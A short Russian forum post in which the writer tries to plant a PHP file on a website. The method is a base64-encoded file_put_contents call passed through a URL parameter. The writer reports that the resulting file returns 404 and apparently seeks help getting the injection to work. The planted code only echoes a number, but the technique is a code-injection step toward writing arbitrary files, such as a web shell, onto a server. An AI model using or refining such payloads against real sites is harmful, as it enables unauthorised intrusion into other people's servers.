Пытаюсь создать файл со следующим содержимым

file_put_contents('lala.php', '');

http://www.site.com/index.php?s=10&id=base64_decode(ZmlsZV9wdXRfY29udG VudHMoJ2xhbGEucGhwJywgJzw/IGVjaG8gNTAvMjsgPz4nKTs=);

mq=on

и поэтому адресу должен появиться файл

http://www.site.com/lala.php

но вместо этого:

404.

Запрошенный Вами документ отсутствует на сервере.